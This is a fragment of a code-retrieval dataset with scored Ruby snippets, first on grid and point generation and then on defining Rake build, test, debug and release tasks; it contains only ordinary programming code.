2\n temp_height = @height + 2\n\n temp_width.times do |x|\n @temp_grid[x] = []\n temp_height.times do |y|\n @temp_grid[x][y] = 0\n end\n end\n end", "title": "" }, { "docid": "6836cbd4db2ac63e50e749e1ef8c9f86", "score": "0.470124", "text": "def generate\n for i in 0..$dimensions[0]-1\n for j in 0..$dimensions[1]-1\n for k in 0..$d-1\n item=populate k\n if item!=0 \n $grid[[i,j,k]]=item\n end\n end\n end\n end\nend", "title": "" }, { "docid": "a72d1af1e80173034c8d1e9a59e92592", "score": "0.46897784", "text": "def makeLiving(points)\n points.map do |p|\n getCell(p[0],p[1]).spawn\n end\n end", "title": "" }, { "docid": "96eae8cad05938880bf4efa6229801aa", "score": "0.46880612", "text": "def generateManySpheres numSpheres\n rnd = java.util.Random.new\n gameSurface = getGameSurface\n\n bubbles = []\n numSpheres.times do\n c = Color.rgb rnd.nextInt(255), rnd.nextInt(255), rnd.nextInt(255)\n b = Atom.new rnd.nextInt(15) + 5, c\n circle = b.getAsCircle\n # random 0 to 2 + (.0 to 1) * random (1 or -1)\n b.vX = (rnd.nextInt(2) + rnd.nextDouble) * (rnd.nextBoolean ? 1 : -1)\n b.vY = (rnd.nextInt(2) + rnd.nextDouble) * (rnd.nextBoolean ? 1 : -1)\n\n # random x between 0 to width of scene\n newX = rnd.nextInt gameSurface.getWidth\n\n # check for the right of the width newX is greater than width\n # minus radius times 2(width of sprite)\n if newX > gameSurface.get_width - (circle.getRadius * 2)\n newX = gameSurface.get_width - (circle.getRadius * 2)\n end\n\n # check for the bottom of screen the height newY is greater than height\n # minus radius times 2(height of sprite)\n newY = rnd.nextInt gameSurface.get_height\n if newY > gameSurface.get_height - (circle.getRadius * 2)\n newY = gameSurface.get_height - (circle.getRadius * 2)\n end\n\n circle.setTranslateX newX\n circle.setTranslateY newY\n circle.setVisible true\n circle.set_id \"atom-#{b.object_id}\"\n\n # add to actors in play (sprite objects)\n getSpriteManager.addSprites b\n\n # add sprites\n getSceneNodes.getChildren.add 0, b.node\n end\n end", "title": "" }, { "docid": "a0e9a700fe57f6dc99bfc16159804ecd", "score": "0.46824247", "text": "def fox_the_cubes(*vals)\n foxed_cubes = vals.map { |v| FoxedCube.new(v) }\n @game.instance_variable_set(:@cubes, foxed_cubes)\n end", "title": "" }, { "docid": "ec3bf509bf65e03feaaf557db655d47f", "score": "0.46799672", "text": "def points_n2\n result = [:infinity]\n (0...@p).each do |x|\n (0...@p).each do |y|\n point = [x,y]\n result << point if valid?(point)\n end\n end\n result\n end", "title": "" }, { "docid": "0f1cbacf1f0e06df89182e2315f0fc2e", "score": "0.4678159", "text": "def get_points(count = 1)\n points = []\n count.times do\n points << get_point\n end\n\n points\n end", "title": "" }, { "docid": "382fbb4be38df9db3c6baeeefef293ce", "score": "0.46735838", "text": "def initialize\n @points = 10.times.map { Point.new } #.map produeces a new array. 10.times/create a new array - of Point.new. So it creates \n #10 points and puts them into a new array.\n end", "title": "" }, { "docid": "4de33f74fc177acc8a42cf62426ebf81", "score": "0.4656939", "text": "def initialize\n\t\t@grid = Array.new(10){Array.new(10)}\n\tend", "title": "" }, { "docid": "366a5c98e0f6d1dcc2a7f2a8e983ac59", "score": "0.46561924", "text": "def create_graph\n all_coordinates = get_all_coordinates\n all_coordinates.each do |key|\n neighbors = get_neighbor_arr(key)\n add_vertex(key,neighbors)\n end\n @vertices\n end", "title": "" }, { "docid": "b57fa41c1ef71f45d06fd8a66530cd6e", "score": "0.46498114", "text": "def cell_a(*args)\n case args.size\n when 1 then x, y, z = index_to_xyz(args[0])\n when 3 then x, y, z = *args\n else raise(ArgumentError, \"Expected 1 or 3 but recieved #{args.size}\")\n end\n [cell_width * x, cell_height * y, cell_depth * z,\n cell_width, cell_height, cell_depth]\n end", "title": "" }, { "docid": "e5a6ce679ecaa2196f1ec9b4b1c7c1fe", "score": "0.46489397", "text": "def get_grids(x, y, width, height)\n x = (x*10)-5\n y = (y*10)-5\n end_x= x+(width*10)-1\n end_y= y+(height*10) -1\n return [[y, x], [end_y, end_x]]\n end", "title": "" }, { "docid": "e5a6ce679ecaa2196f1ec9b4b1c7c1fe", "score": "0.46489397", "text": "def get_grids(x, y, width, height)\n x = (x*10)-5\n y = (y*10)-5\n end_x= x+(width*10)-1\n end_y= y+(height*10) -1\n return [[y, x], [end_y, end_x]]\n end", "title": "" }, { "docid": "365308adb224c92acdf0d1b975c0db2d", "score": "0.464802", "text": "def generate\n #create random number generator\n rng = Random.new\n @points = Array.new\n\n #num_points times, make random value in ranges \n @num_points.times do\n @points << [rng.rand(@x_lims), rng.rand(@y_lims)]\n end\n end", "title": "" }, { "docid": "72da811428b40c85648e2e1e0c6162ad", "score": "0.46478787", "text": "def rotate\n g = Grid.new\n self.each do |point,v|\n g[Point.new(point.y,point.x)] = v\n end\n (0..g.height - 1).each do |y|\n ( 0..g.width/2.ceil - 1 ).each do |x|\n tmp = g[Point.new(x,y)]\n g[Point.new(x,y)] = g[Point.new(g.width - x - 1, y )]\n g[Point.new(g.width - x - 1,y)] = tmp\n end\n end\n g\n end", "title": "" }, { "docid": "29165f675d2916f62fcf3c43759886c6", "score": "0.46452126", "text": "def start_grid\n Array.new(@lines) { Array.new(@columns) { Cell.new } }\n end", "title": "" }, { "docid": "fad3cba37b8a28d252ee9920a96edd3a", "score": "0.46385396", "text": "def to_n\n Normal3.new(@x, @y, @z)\n end", "title": "" }, { "docid": "1db9937f0dde0ed7fda204cd02a60291", "score": "0.46341544", "text": "def coordinates\n arr = []\n (0...@size).each do |row|\n (0...@size).each do |column|\n arr << Coordinate.new(x: row,y: column)\n end\n end\n arr\n end", "title": "" }, { "docid": "f2308b86a4b1e6d2379dd7c56f316161", "score": "0.463119", "text": "def print_grid(points,size)\n grid = []\n for i in 0..size-1\n grid.push([])\n for j in 0..size-1\n if points.include? [j,i]\n # grid.last.push(\"#{j.to_s.reverse[0]}#{i.to_s.reverse[0]}\")\n grid.last.push(\"#{j}#{i}\")\n else\n grid.last.push(\"__\")\n end\n end\n end\n grid.reverse!\n grid.map {|x| puts x.join(\" \")}\nend", "title": "" }, { "docid": "42e791982df0718dcd969aa6717b034d", "score": "0.4621059", "text": "def points_on_circle(center, normal, radius, numseg)\r\n # Get the x and y axes\r\n axes = Geom::Vector3d.new(normal).axes\r\n center = Geom::Point3d.new(center)\r\n xaxis = axes[0]\r\n yaxis = axes[1]\r\n \r\n xaxis.length = radius\r\n yaxis.length = radius\r\n\r\n # compute the points\r\n da = (Math::PI * 2) / numseg\r\n pts = []\r\n for i in 0...numseg do\r\n angle = i * da\r\n cosa = Math.cos(angle)\r\n sina = Math.sin(angle)\r\n vec = Geom::Vector3d.linear_combination(cosa, xaxis, sina, yaxis)\r\n pts.push(center + vec)\r\n end\r\n \r\n # close the circle\r\n pts.push(pts[0].clone)\r\n\r\n pts\r\nend", "title": "" }, { "docid": "62a19a4ac6c4abc235eb8123ed764d99", "score": "0.46116352", "text": "def print_fine_points(points,size)\n grid = []\n for i in 0..size-1\n grid.push([])\n for j in 0..size-1\n if points.include? [j,i]\n grid.last.push(\"x\")\n else\n grid.last.push(\".\")\n end\n end\n end\n grid.reverse!\n grid.map {|x| puts x.join(\"\")}\nend", "title": "" }, { "docid": "bd7785e9e63189e1ca55e3fca613069a", "score": "0.46081463", "text": "def set_coordinates\n [rand(-100..100), rand(-100..100)]\n end", "title": "" }, { "docid": "dd4e918dab123c975e02cce0bf8871e0", "score": "0.4601375", "text": "def get_subgrid(cords)\n subgrid = []\n x_pos = cords[0] - cords[0] % 3\n (x_pos..x_pos + 2).each do |row_num|\n y_pos = cords[1] - cords[1] % 3\n subgrid += @grid[row_num][y_pos, 3]\n end\n subgrid\n end", "title": "" }, { "docid": "6601c159ae35cabef798840db99f3991", "score": "0.4591614", "text": "def initialize(width=30, height=30, random=true, random_seed=[true,false].to_a)\n\n @width=width\n @height=height\n\n #create an array\n @cells = ConwayModel::create_grid(width, height, random, random_seed)\n end", "title": "" }, { "docid": "66604fa910512329b6b3e368fc6065c9", "score": "0.4569262", "text": "def surface(x, y, z, option)\n # TODO: check: Arrays have incorrect length or dimension.\n nx = x.length\n ny = y.length\n super(nx, ny, x, y, z, option)\n end", "title": "" }, { "docid": "66604fa910512329b6b3e368fc6065c9", "score": "0.4569262", "text": "def surface(x, y, z, option)\n # TODO: check: Arrays have incorrect length or dimension.\n nx = x.length\n ny = y.length\n super(nx, ny, x, y, z, option)\n end", "title": "" } ]
8ca9926872d296512eb2383daa134eaa
Set up tasks for debugging the task library.
[ { "docid": "90de4200858022a14a1eed13e6660417", "score": "0.7477027", "text": "def define_debug_tasks\n\t\ttask( :base_debug ) do\n\t\t\tself.output_documentation_debugging\n\t\t\tself.output_project_files_debugging\n\t\t\tself.output_dependency_debugging\n\t\tend\n\n\t\ttask :debug => :base_debug\n\tend", "title": "" } ]
[ { "docid": "009d0919d0721c285882e75217e97943", "score": "0.7469858", "text": "def configure_tasks\n end", "title": "" }, { "docid": "3bcadc068863ab29196f93e4c86bb24f", "score": "0.7324389", "text": "def define_debug_tasks\n desc \"Create a fresh ~/.hoerc file.\"\n task :config_hoe do\n with_config do |config, path|\n File.open(path, \"w\") do |f|\n YAML.dump(Hoe::DEFAULT_CONFIG.merge(config), f)\n end\n\n editor = ENV[\"EDITOR\"] || \"vi\"\n system \"#{editor} #{path}\" if ENV[\"SHOW_EDITOR\"] != \"no\"\n end\n end\n\n desc \"Verify the manifest.\"\n task :check_manifest => :clean do\n check_manifest\n end\n\n desc \"Show information about the gem.\"\n task :debug_gem do\n puts spec.to_ruby\n end\n\n task :isolate # stub\n task :irb => :isolate do\n name = spec.name.gsub(\"-\", \"/\")\n file = (spec.files.grep(/^lib\\/#{name}\\.rb$/).first ||\n spec.files.grep(/^lib\\/[^\\/]*\\.rb$/).first)\n\n require = File.basename(file, \".rb\") if file\n require &&= \"-r#{require}\"\n\n ruby \"#{Hoe::RUBY_FLAGS} -S irb #{require}\"\n end\n end", "title": "" }, { "docid": "3c67db51929a96289089e9699784f7eb", "score": "0.7091223", "text": "def exec_setup\n exec_task_traverse 'setup'\n end", "title": "" }, { "docid": "2f7c462526b9877c728a13948b2de70e", "score": "0.7005331", "text": "def define_tasks\r\n define_repeat_task\r\n define_clobber_task\r\n define_build_task\r\n end", "title": "" }, { "docid": "a80d358679bd2f4ed2ef942762dce5fe", "score": "0.6981869", "text": "def define_tasks\r\n define_clobber_task\r\n define_build_task\r\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.69216114", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "ab9caed6d748893aca15a2726e0742b8", "score": "0.6825185", "text": "def define_tasks\n # Run the command on the local system\n def run(cmd)\n Kernel.system(cmd.runnable)\n end\n # Basic setup action\n def setup_application\n @options ||= PoolParty.options(ARGV.dup)\n end\n \n # Require the poolparty specific tasks\n compiled_rakefile\n \n desc \"Reload the static variables\"\n task :reload do\n reload!\n end\n true\n end", "title": "" }, { "docid": "9f804c044751c7dd424a8176ad09cf09", "score": "0.67579794", "text": "def setup\n @build_dir = File.join project.dir, 'build'\n unless Dir.exists? @build_dir\n Dir.mkdir @build_dir\n end\n\n task 'default' => 'build'\n\n desc 'Build the project'\n task 'build' => project.target do\n puts \"Built #{File.basename project.target}\".green\n end\n\n self.setup_target\n self.setup_source_files\n\n if project.test_target\n self.setup_test_target\n self.setup_test_files\n end\n\n desc 'Clean up build artifacts and target'\n task 'clean' do\n sh \"rm -f #{project.target}\"\n project.sources.each do |fn|\n fn = objectsify fn\n sh \"rm -f #{fn}\"\n end\n end\n \n namespace 'test' do\n desc 'Build the test target'\n task 'build' => project.test_target do\n puts \"Built #{File.basename project.test_target}\".green\n end\n desc 'Clean test build artifacts'\n task 'clean' do\n sh \"rm -f #{project.test_target}\"\n project.test_sources.each do |fn|\n fn = objectsify fn\n sh \"rm -f #{fn}\"\n end\n end\n end\n \n end", "title": "" }, { "docid": "96782af23452175077cef197baca003b", "score": "0.6729873", "text": "def install_tasks\n load 'falkorlib/tasks/git.rake'\n load 'falkorlib/tasks/gitflow.rake'\n end", "title": "" }, { "docid": "355b5a15cf76aa04544fd9018b49d5fa", "score": "0.6680735", "text": "def define_tasks\n # Task definitions are taken from Rake::TestTask\n # https://github.com/ruby/rake/blob/e644af3/lib/rake/testtask.rb#L98-L112\n namespace :ttnt do\n namespace name do\n define_run_task\n define_anchor_task\n end\n end\n end", "title": "" }, { "docid": "369d10418c099cb51697f1075e4ee483", "score": "0.6629178", "text": "def define_default_tasks\n\n\t\t# task used to indicate that rake-deveiate has already been setup once; for\n\t\t# global rakefiles.\n\t\ttask :deveiate do\n\t\t\t# no-op\n\t\tend\n\n\t\tdesc \"The task that runs by default\"\n\t\ttask( :default => :spec )\n\n\t\tdesc \"Check in the current changes\"\n\t\ttask :checkin => [ :precheckin, :check, :test ]\n\t\ttask :commit => :checkin\n\t\ttask :ci => :checkin\n\t\ttask :precheckin\n\n\t\tdesc \"Sanity-check the project\"\n\t\ttask :check\n\n\t\tdesc \"Update the history file\"\n\t\ttask :update_history\n\n\t\tdesc \"Package up and push a release\"\n\t\ttask :release => [ :prerelease, :gem, :release_gem, :postrelease ]\n\t\ttask :prerelease\n\t\ttask :release_gem\n\t\ttask :postrelease\n\n\t\tdesc \"Run all the project's tests\"\n\t\ttask :test\n\t\ttask :spec\n\t\ttask :integration\n\n\t\tdesc \"Set up the project for development\"\n\t\ttask :setup do\n\t\t\tself.install_dependencies\n\t\tend\n\n\t\tdesc \"Turn on maintainer mode: build with extra warnings and debugging\"\n\t\ttask :maint do\n\t\t\tENV['MAINTAINER_MODE'] = 'yes'\n\t\tend\n\n\tend", "title": "" }, { "docid": "c48f792e738a9e18123469f80978f40f", "score": "0.65901875", "text": "def define_tasks!\n\n define_test_tasks! if has_tests?\n define_rspec_tasks! if has_specs?\n\n namespace(@task_namespace) do\n desc \"Updates the filelist in the gemspec file\"\n task(:manifest) { manifest_task }\n\n desc \"Builds the .gem package\"\n task(:build => :manifest) { build_task }\n\n desc \"Sets the version of the gem in the gemspec\"\n task(:set_version => [:check_version, :check_current_branch]) { version_task }\n task(:check_version => :fetch_origin) { check_version_task }\n\n task(:fetch_origin) { fetch_origin_task }\n task(:check_current_branch) { check_current_branch_task }\n task(:check_clean_status) { check_clean_status_task }\n task(:check_not_diverged => :fetch_origin) { check_not_diverged_task }\n\n checks = [:check_current_branch, :check_clean_status, :check_not_diverged, :check_version]\n checks.unshift('spec:basic') if has_specs?\n checks.unshift('test:basic') if has_tests?\n # checks.push << [:check_rubyforge] if gemspec.rubyforge_project\n\n desc \"Perform all checks that would occur before a release\"\n task(:release_checks => checks)\n\n release_tasks = [:release_checks, :set_version, :build, :github_release, :gemcutter_release]\n # release_tasks << [:rubyforge_release] if gemspec.rubyforge_project\n\n desc \"Release a new version of the gem using the VERSION environment variable\"\n task(:release => release_tasks) { release_task }\n \n namespace(:release) do\n desc \"Release the next version of the gem, by incrementing the last version segment by 1\"\n task(:next => [:next_version] + release_tasks) { release_task }\n\n desc \"Release the next version of the gem, using a patch increment (0.0.1)\"\n task(:patch => [:next_patch_version] + release_tasks) { release_task }\n\n desc \"Release the next version of the gem, using a minor increment (0.1.0)\"\n task(:minor => [:next_minor_version] + release_tasks) { release_task }\n\n desc \"Release the next version of the gem, using a major increment (1.0.0)\"\n task(:major => [:next_major_version] + release_tasks) { release_task }\n end\n\n # task(:check_rubyforge) { check_rubyforge_task }\n # task(:rubyforge_release) { rubyforge_release_task }\n task(:gemcutter_release) { gemcutter_release_task }\n task(:github_release => [:commit_modified_files, :tag_version]) { github_release_task }\n task(:tag_version) { tag_version_task }\n task(:commit_modified_files) { commit_modified_files_task }\n\n task(:next_version) { next_version_task }\n task(:next_patch_version) { next_version_task(:patch) }\n task(:next_minor_version) { next_version_task(:minor) }\n task(:next_major_version) { next_version_task(:major) }\n \n desc \"Updates the gem release tasks with the latest version on Github\"\n task(:update_tasks) { update_tasks_task }\n end\n end", "title": "" }, { "docid": "1d0edc5279eb1db7ac6c9e02623ecf10", "score": "0.64851654", "text": "def define_test_tasks\n default_tasks = []\n\n if File.directory? \"test\" then\n desc 'Run the test suite. Use FILTER or TESTOPTS to add flags/args.'\n task :test do\n ruby make_test_cmd\n end\n\n desc 'Run the test suite using multiruby.'\n task :multi do\n ruby make_test_cmd(:multi)\n end\n\n desc 'Show which test files fail when run alone.'\n task :test_deps do\n tests = Dir[\"test/**/test_*.rb\"] + Dir[\"test/**/*_test.rb\"]\n\n paths = ['bin', 'lib', 'test'].join(File::PATH_SEPARATOR)\n null_dev = Hoe::WINDOZE ? '> NUL 2>&1' : '&> /dev/null'\n\n tests.each do |test|\n if not system \"ruby -I#{paths} #{test} #{null_dev}\" then\n puts \"Dependency Issues: #{test}\"\n end\n end\n end\n\n default_tasks << :test\n end\n\n if File.directory? \"spec\" then\n begin\n require 'spec/rake/spectask'\n\n desc \"Run all specifications\"\n Spec::Rake::SpecTask.new(:spec) do |t|\n t.libs = self.rspec_dirs\n t.spec_opts = self.rspec_options\n end\n rescue LoadError\n # do nothing\n end\n default_tasks << :spec\n end\n\n desc 'Run the default task(s).'\n task :default => default_tasks\n\n desc 'Run ZenTest against the package.'\n task :audit do\n libs = %w(lib test ext).join(File::PATH_SEPARATOR)\n sh \"zentest -I=#{libs} #{spec.files.grep(/^(lib|test)/).join(' ')}\"\n end\n end", "title": "" }, { "docid": "d6e0a26183ed17cc8abb9ec6e25e6f91", "score": "0.6449984", "text": "def make_tasks\n make_clean_task\n make_wix_folder_task\n make_copy_file_tasks\n make_sourcery_wxs_file_task\n make_sourcery_wixobj_file_task\n make_product_wxs_file_task\n make_product_wixobj_file_task\n make_msi_file_task\n make_msi_task\n make_test_task\n end", "title": "" }, { "docid": "9a3b344f76d492c3050ee9ca0fa194c2", "score": "0.6428777", "text": "def define_test_tasks!\n require 'rake/testtask'\n\n namespace(:test) do\n Rake::TestTask.new(:basic) do |t|\n t.pattern = test_pattern\n t.verbose = true\n t.libs << 'test'\n end\n end\n\n desc \"Run all unit tests for #{gemspec.name}\"\n task(:test => ['test:basic'])\n end", "title": "" }, { "docid": "a3dfe18264f9b4437d15d4b15a614923", "score": "0.6412562", "text": "def initialize\r\n load_tasks\r\n end", "title": "" }, { "docid": "14d08d6a234377d04ca31c7ef3e18966", "score": "0.6410195", "text": "def configure_tasks\n super\n all_object_files = []\n all_object_folders = []\n @toolchains.each do |toolchain, sources|\n toolchain.add_include_paths(@api_headers+@configuration_headers)\n object_files, object_folders = toolchain.create_compile_tasks(sources)\n all_object_files |= object_files\n all_object_folders |= object_folders\n end\n\n project_filename = @parent_project.project_name.to_s.gsub(':','-')\n library_files, library_folders = @default_toolchain.create_static_library_tasks(all_object_files, project_filename)\n dependencies = @dependencies+all_object_folders+library_folders+library_files\n\n desc \"Build library '#{@parent_project.project_name}' with configuration '#{@configuration_name}'\"\n new_task = static_library_task @configuration_name => dependencies do |t|\n @post_build.call if @post_build.respond_to? :call\n puts \"built library #{t.name}.\"\n @tests.each do |test|\n if Rake::Task.task_defined? test\n Rake::Task[test].invoke\n else\n $stderr.puts \"warning: Skipping unknown test '#{test}'\"\n end\n end\n end\n new_task.api_headers = @api_headers\n new_task.configuration_headers = @configuration_headers\n new_task.library_files = library_files\n end", "title": "" }, { "docid": "b63cf3639eae40e4db3e1311526a9f04", "score": "0.63508433", "text": "def setup\r\n rake_original_setup\r\n @original_rake = Rake.application\r\n @rake = Rake::Application.new\r\n Rake.application = @rake\r\n end", "title": "" }, { "docid": "c42743723587ce908468816d64b35dbe", "score": "0.6347644", "text": "def prepare_task\n end", "title": "" }, { "docid": "e1b9f5ae3be4f52e98d25f314f31189a", "score": "0.63475764", "text": "def rake_tasks(&block); end", "title": "" }, { "docid": "e1b9f5ae3be4f52e98d25f314f31189a", "score": "0.63475764", "text": "def rake_tasks(&block); end", "title": "" }, { "docid": "e757c2a31d124aa20815a409de5d9f3c", "score": "0.6345738", "text": "def build_default_tasks\n @rake_task << self.step_template # get General Configuration information\n end", "title": "" }, { "docid": "4767936689a78f6cf72469cde3e812da", "score": "0.63292694", "text": "def define\n desc @description\n task @name => Array(deps) do\n FileUtilsExt.verbose(@verbose) do\n puts \"Use TESTOPTS=\\\"--verbose\\\" to pass --verbose\" \\\n \", etc. to runners.\" if ARGV.include? \"--verbose\"\n args =\n \"#{ruby_opts_string} #{run_code} \" +\n \"#{file_list_string} #{option_list}\"\n ruby args do |ok, status|\n if !ok && status.respond_to?(:signaled?) && status.signaled?\n raise SignalException.new(status.termsig)\n elsif !ok\n status = \"Command failed with status (#{status.exitstatus})\"\n details = \": [ruby #{args}]\"\n message =\n if Rake.application.options.trace or @verbose\n status + details\n else\n status\n end\n\n fail message\n end\n end\n end\n end\n self\n end", "title": "" }, { "docid": "a35d19011fa1b74b4afb12e383306770", "score": "0.62965083", "text": "def create_tasks\n Application.features[self].each{ |f|\n extend Rake::DSL\n taskname = \"#{f.to_s.split('::').last}\"\n desc \"Feature\"\n task taskname => [\"#{taskname}:install\"] do\n end\n namespace taskname do\n desc \"install #{taskname}\"\n task :install do\n puts \"----> installing #{taskname}\"\n puts \"#{self} | #{f}\"\n Application.install[f.name].each{ |c|\n puts \"#{c}\"\n }\n end\n end \n } if Application.features[self]\n end", "title": "" }, { "docid": "cb2ed58663760e83f5549cdbb0bb0048", "score": "0.6285737", "text": "def define_test_tasks\n default_tasks = []\n\n task :test\n\n if File.directory? \"test\" then\n case testlib\n when :minitest then\n require \"minitest/test_task\" # in minitest 5.16+\n\n test_prelude = self.test_prelude\n self.test_task = Minitest::TestTask.create :test do |t|\n t.test_prelude = test_prelude\n t.libs.prepend Hoe.include_dirs.uniq\n end\n when :none then\n # do nothing\n else\n warn \"Unsupported? Moving to Minitest::TestTask. Let me know if you use this!\"\n end\n\n desc \"Run the test suite using multiruby.\"\n task :multi do\n skip = with_config do |config, _|\n config[\"multiruby_skip\"] + self.multiruby_skip\n end\n\n ENV[\"EXCLUDED_VERSIONS\"] = skip.join(\":\")\n system \"multiruby -S rake\"\n end\n\n default_tasks << :test\n end\n\n desc \"Run the default task(s).\"\n task :default => default_tasks\n\n desc \"Run ZenTest against the package.\"\n task :audit do\n libs = %w[lib test ext].join(File::PATH_SEPARATOR)\n sh \"zentest -I=#{libs} #{spec.files.grep(/^(lib|test)/).join(\" \")}\"\n end\n end", "title": "" }, { "docid": "a52d437206a26290626db1294d2de70f", "score": "0.62812907", "text": "def define\n desc \"Create & migrate the DB for your named TIMESHEET\"\n task \"#{@name}:prepare\", [:timesheet] => [\"#{@name}:env\"] do |t, args|\n Enrar::Migrator.new.migrate!\n end\n\n desc \"Print the URL for the provided TIMESHEET\"\n task \"#{@name}:url\", [:timesheet] => [\"#{@name}:env\"] do |t, args|\n require 'socket'\n ip = Socket::getaddrinfo(Socket.gethostname,\"echo\",Socket::AF_INET)[0][3]\n puts \"http://#{ip}:#{@config[:port] || 8912}/\"\n end\n\n task \"#{@name}:env\", [:timesheet] do |t, args|\n @timesheet = File.expand_path('~/.secretary') unless args[:timesheet]\n @config = Vim::Secretary::Config.from_timesheet(@timesheet)\n end\n\n self\n end", "title": "" }, { "docid": "b1270d0dc0a8065c805c1ffc3e398ed0", "score": "0.6274752", "text": "def setup_tests\n Rake::TestTask.new do |t|\n t.libs << \"test\"\n t.test_files = FileList['test/test*.rb']\n t.verbose = true\n end\nend", "title": "" }, { "docid": "243166910db708d62a8c04926a4e2f1f", "score": "0.6267164", "text": "def load_tasks\n end", "title": "" }, { "docid": "64279ff0e6ce41240df2ac517942f9ae", "score": "0.6265194", "text": "def initialize\n dependencies = if defined?(::Rails)\n [:environment]\n else\n []\n end\n\n define_tasks(dependencies)\n end", "title": "" }, { "docid": "0e9d6aa434f17e716086a919069947e7", "score": "0.62370837", "text": "def load_dummy_tasks(app_root)\n @target_extension_path = Pathname.new(app_root.to_s)\n load 'refinery/tasks/testing.rake'\n end", "title": "" }, { "docid": "55cb40664214f4492d8b5e4ebdc73a22", "score": "0.6216472", "text": "def setup\n return if resolved_model_definitions.present?\n @is_rake_task = false\n @is_rake_association_task = false\n @warnings = nil\n @log = false\n @log_clean = false\n check_rake_task\n @resolved_model_definitions = resolve_model_definition_classes_and_values\n end", "title": "" }, { "docid": "b266721e78cafb8c52a51e708da80d33", "score": "0.61631346", "text": "def setup\n debug 'No custom setup defined'\n end", "title": "" }, { "docid": "41b46161c1c56f4f89b6b47b8280f5b1", "score": "0.6160226", "text": "def setup\n end", "title": "" }, { "docid": "41b46161c1c56f4f89b6b47b8280f5b1", "score": "0.6160226", "text": "def setup\n end", "title": "" }, { "docid": "41b46161c1c56f4f89b6b47b8280f5b1", "score": "0.6160226", "text": "def setup\n end", "title": "" }, { "docid": "41b46161c1c56f4f89b6b47b8280f5b1", "score": "0.6160226", "text": "def setup\n end", "title": "" }, { "docid": "41b46161c1c56f4f89b6b47b8280f5b1", "score": "0.6160226", "text": "def setup\n end", "title": "" }, { "docid": "b454c140f05cd7024a554c5044287287", "score": "0.6155568", "text": "def setup_tasks\n namespace(:npm) do\n desc 'Build package.json from template'\n task :'package.json' do\n template = ERB.new(File.read(File.join(src, 'package.json.erb')))\n generated = template.result_with_hash(scope: SCOPE, gemspec: gemspec, contributors: contributors)\n File.write(File.join(src, 'package.json'), JSON.pretty_generate(JSON.parse(generated)))\n end\n\n desc 'Ensure the destination directory exist'\n task :dest do\n FileUtils.mkdir_p(dest)\n end\n\n desc 'Build package tarball into the pkg directory'\n task build: %i[package.json dest] do\n system(\"cd #{src} && npm pack --pack-destination #{dest}/\")\n end\n\n desc 'Build and push package to npmjs.com'\n task release: %i[build] do\n system(\"npm publish #{tarball} --access public\")\n end\n end\n end", "title": "" }, { "docid": "5ca0b9ca1a9870fe30ec43ca573b271f", "score": "0.6140441", "text": "def load_task_libraries\n\t\ttaskdir = Pathname( __FILE__.delete_suffix('.rb') )\n\t\ttasklibs = Rake::FileList[ taskdir + '*.rb' ].pathmap( '%-2d/%n' )\n\n\t\tself.trace( \"Loading task libs: %p\" % [ tasklibs ] )\n\t\ttasklibs.each do |lib|\n\t\t\trequire( lib )\n\t\tend\n\n\t\tself.class.constants.\n\t\t\tmap {|c| self.class.const_get(c) }.\n\t\t\tselect {|c| c.respond_to?(:instance_methods) }.\n\t\t\tselect {|c| c.instance_methods(false).include?(:define_tasks) }.\n\t\t\teach do |mod|\n\t\t\t\tself.trace \"Loading tasks from %p\" % [ mod ]\n\t\t\t\textend( mod )\n\t\t\tend\n\n\t\tself.setup( self.name, **self.options )\n\tend", "title": "" }, { "docid": "28d229be32794db776d61b51a39da5e0", "score": "0.61131483", "text": "def define\r\n\t\t\ttask :foo do\r\n\t\t\t\tputs 'foo!'\r\n\t\t\tend\r\n\t\tend", "title": "" }, { "docid": "41e6a1d89170dc92d1ccd1be6767ca5a", "score": "0.61079955", "text": "def run\n run_build_tasks before_tasks, basic_tasks, after_tasks\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.6090697", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.6090697", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.6090697", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.6090697", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.6090697", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.6090697", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.6090697", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.6090697", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.6090697", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.6090697", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.6090697", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.6090697", "text": "def setup\n end", "title": "" }, { "docid": "0e9d19e1ed4e3e921f01375f49317533", "score": "0.6089239", "text": "def setup()\n end", "title": "" }, { "docid": "7a9a4465fedb58a3fb9cc0aaa2293c55", "score": "0.606351", "text": "def setup(*tasks)\n tasks.each do |t|\n setup_task(t)\n end\n\n if broadcaster\n publish(*tasks)\n end\n end", "title": "" }, { "docid": "e83691e2e69dba4ea1a5967fa9f26726", "score": "0.6060683", "text": "def setup\n # NOTE: We do not yet assume any contents of the depot. When we do,\n # I have some code for populating test fixtures, although it leans a bit\n # toward Rails' conventions. We can probably 'derail' it. :)\n\n # Specify the environment, e.g. development vs. test, etc. It is assumed to be\n # test. This is done mainly so that the right configuration is used for connecting to\n # Perforce. This should probably be moved to a generic 'test_helper' which is\n # included in all tests.\n ENV['APP_ENV'] ||= 'test'\n end", "title": "" }, { "docid": "59fde7fb1ee3d331a316a16be0fd7ace", "score": "0.6006169", "text": "def define_task\n desc @desc\n task @name do\n config.mode == 'shell' ? run_shell : run\n end\n end", "title": "" }, { "docid": "7ecf2cdf5377fd6af68912d3a1a943d3", "score": "0.5993997", "text": "def register_tasks(&block)\n namespace(@name) do |ns|\n\n file file_name => BUILD::DIRS + [(base_image.file_name rescue nil)].compact do\n puts \"Building #{@full_comment} image\"\n build_image\n end\n\n desc \"Build a #{@full_comment} image\"\n task :build => file_name\n\n desc \"Rebuild a #{@full_comment} image\"\n task :rebuild do\n Rake::Task[\"#{@name}:clean\"].invoke\n 